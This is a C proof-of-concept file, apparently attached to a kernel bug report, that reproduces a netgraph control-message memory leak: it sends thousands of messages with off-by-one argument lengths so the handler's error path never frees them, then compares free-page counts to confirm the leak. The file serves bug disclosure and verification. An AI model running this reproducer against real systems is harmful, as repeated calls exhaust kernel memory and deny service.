DF-3483 / arglenleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | /* * DF-3483 -- v1 ng_base.c ng_generic_msg() control-message leak * * NGM_MKPEER / NGM_CONNECT / NGM_NAME / NGM_RMHOOK arglen-mismatch error * paths `return (EINVAL)` WITHOUT kfree(msg) (ng_base.c:1263-1266, 1279-1282, * 1296-1299, 1309-1312), violating the handler contract ("It is up to the * message handler to free the message", ng_base.c:1177-1179). Neither caller * frees on error either (ng_send_msg:1226, ngintr:2062), so the whole * user-sized struct ng_mesg allocation leaks per call. * * A/B proof: * phase "good": N MKPEER messages with correct arglen to a BOGUS PATH * (fails in ng_path2node; ng_send_msg kfrees at :1218) -> * no leak. * phase "bad": N MKPEER messages with arglen = sizeof(struct ngm_mkpeer)-1 * to "." (fails in the handler early-return) -> leak. * phase "bad2": N NGM_NAME messages with arglen = sizeof(struct ngm_name)-1 * -> leak (second site). * Compare vm.stats.vm.v_free_count around each phase. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> static int ctrl = -1; static u_int32_t token = 0x2000; static long freepages(void) { size_t len = sizeof(long); long v = -1; if (sysctlbyname("vm.stats.vm.v_free_count", &v, &len, NULL, 0) < 0) perror("sysctl"); return (v); } static int ng_send_path(const char *path, u_int32_t cookie, int cmd, const void *arg, size_t arglen, int override_arglen) { struct sockaddr_ng sg; struct ng_mesg *m; size_t len = sizeof(*m) + (arglen ? arglen - 1 : 0) + 1; ssize_t n; m = calloc(1, len); if (m == NULL) { perror("calloc"); exit(1); } m->header.version = NG_VERSION; m->header.typecookie = cookie; m->header.cmd = cmd; m->header.arglen = override_arglen ? override_arglen : arglen; m->header.token = token++; if (arglen) memcpy(m->data, arg, arglen); memset(&sg, 0, sizeof(sg)); sg.sg_len = 2 + strlen(path); sg.sg_family = AF_NETGRAPH; strlcpy(sg.sg_data, path, sizeof(sg.sg_data)); n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len); free(m); return (n < 0) ? -errno : 0; } static long run_phase(const char *name, long iters, u_int32_t cookie, int cmd, const void *arg, size_t arglen, int override, const char *path) { long b, a, i; int rc, e; int hist[3] = {0, 0, 0}; b = freepages(); for (i = 0; i < iters; i++) { rc = ng_send_path(path, cookie, cmd, arg, arglen, override); e = -rc; if (e == EINVAL) hist[0]++; else if (e == 0) hist[1]++; else hist[2]++; } a = freepages(); printf("%-6s %8ld iters: errno-hist ok=%d einval=%d other=%d, " "free %ld -> %ld (delta %ld pages = %ld KB)\n", name, iters, hist[1], hist[0], hist[2], b, a, b - a, (b - a) * (long)(getpagesize() / 1024)); fflush(stdout); return (b - a); } int main(int argc, char **argv) { struct ngm_mkpeer mk; struct ngm_name nm; long n = (argc > 1) ? atol(argv[1]) : 20000; long d_good, d_bad, d_bad2; ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (ctrl < 0) { perror("ctrl socket"); exit(1); } /* name our node so we can also test NGM_NAME against it */ memset(&nm, 0, sizeof(nm)); strlcpy(nm.name, "leaktest", sizeof(nm.name)); (void)ng_send_path(".", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm), 0); /* rename is refused (EISCONN) with correct arglen -> no leak anyway */ printf("sizeof(ngm_mkpeer)=%zu sizeof(ngm_name)=%zu " "sizeof(ng_mesg)=%zu\n", sizeof(mk), sizeof(nm), sizeof(struct ng_mesg)); memset(&mk, 0, sizeof(mk)); strlcpy(mk.type, "echo", sizeof(mk.type)); strlcpy(mk.ourhook, "h0", sizeof(mk.ourhook)); strlcpy(mk.peerhook, "x", sizeof(mk.peerhook)); /* control: correct arglen, addressing failure -> msg freed properly */ d_good = run_phase("good", n, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk), 0, "nosuchnode:hook9"); /* bug: arglen off-by-one, reaches handler early return -> leak */ d_bad = run_phase("bad", n, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk), (int)sizeof(mk) - 1, "."); /* bug site 2: NGM_NAME with arglen off-by-one */ memset(&nm, 0, sizeof(nm)); strlcpy(nm.name, "xx", sizeof(nm.name)); d_bad2 = run_phase("bad2", n, NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm), (int)sizeof(nm) - 1, "."); printf("\nSUMMARY: good delta=%ld pages, bad delta=%ld pages, " "bad2 delta=%ld pages\n", d_good, d_bad, d_bad2); printf("%s\n", (d_bad > d_good + n / 64) ? "LEAK CONFIRMED (bad >> good)" : "no significant leak seen"); return (0); } |